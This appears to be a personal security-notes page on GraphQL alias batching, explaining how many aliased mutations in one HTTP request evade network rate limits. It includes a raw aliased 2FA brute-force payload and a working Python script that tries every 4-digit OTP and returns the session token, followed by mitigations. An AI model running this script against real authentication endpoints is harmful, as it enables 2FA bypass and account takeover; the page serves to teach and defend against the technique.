🧠 GraphQL - Batching Attack

What is it?

  • Concept: GraphQL inherently allows clients to request multiple pieces of data or execute multiple operations in a single HTTP request to reduce network overhead. Attackers abuse this feature by submitting hundreds or thousands of login/OTP guesses within a single query payload using “Aliases”.
  • Impact: Authentication Bypass, Rate Limit Evasion, and WAF Bypass. Because the network firewall (like Nginx) only sees one HTTP POST request, traditional HTTP rate limiters (limit_req) are completely blind to the attack.

How it works

  1. The Bottleneck: An application relies on network-layer infrastructure (Nginx, HAProxy, AWS WAF) to prevent brute-forcing, limiting users to e.g., 20 HTTP requests per minute.
  2. The Bypass Payload: The attacker constructs a single GraphQL query, but assigns unique “Aliases” to hundreds of concurrent mutation calls (e.g., try0000: verify2FA(otp:"0000"), try0001: verify2FA(otp:"0001")).
  3. The Execution: The single HTTP request easily passes through the network rate-limiter. The backend GraphQL engine parses the single request and sequentially (or concurrently) executes the underlying resolver function for every single alias.
  4. The Result: The attacker successfully evaluates 10,000 combinations in a fraction of a second, bypassing 2FA or brute-forcing a password without triggering network alarms.

Exploitation

Prerequisites

  • A vulnerable GraphQL endpoint accepting queries or mutations.
  • Target authentication mechanism has a small enough entropy/search space (e.g., a 4-digit PIN = 10,000 combinations, or a targeted password list).
  • Rate limiting is implemented at the HTTP routing layer, not the GraphQL execution layer.

Attack Vectors

  1. Raw GraphQL Alias Payload Structure:
mutation { 
	try0000: verify2FA(otp: "0000") { token } 
	try0001: verify2FA(otp: "0001") { token } 
	try0002: verify2FA(otp: "0002") { token } 
	# ... continues up to server limits ... 
}
  1. Python Exploit Automation
import requests
 
def brute_force_gql(session, url):
    batch_size = 1000
    for start in range(0, 10000, batch_size):
        end = min(start + batch_size, 10000)
        
        # Construct the massive aliased query
        graphql_query = "mutation { "
        for i in range(start, end):
            pin = f"{i:04d}"
            graphql_query += f'try{pin}: verify2FA(otp: "{pin}") {{ token }} '
        graphql_query += "}"
 
        # Send 1000 guesses in 1 single HTTP request
        response = session.post(url, json={"query": graphql_query})
        
        # Parse for success
        if "token" in response.text:
            data = response.json()
            for alias, result in data.get("data", {}).items():
                if result is not None:
                    print(f"[+] Found correct OTP: {alias.replace('try', '')}")
                    return result["token"]

Mitigation

  • Fix 1: Execution-Layer Rate Limiting. Implement rate limiting inside the GraphQL application code (the resolvers). Track the number of operations executed per user/IP, not just the number of HTTP requests.

  • Fix 2: Max Query Aliases limit. Utilize GraphQL middleware (like graphql-depth-limit or query cost analysis libraries) to restrict a single request to a maximum number of aliases (e.g., max 5 operations per request).

  • Fix 3: Lockouts. For sensitive operations like 2FA, implement account lockouts or temporary bans after a set number of failed resolver executions, regardless of how they were batched.

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC

References: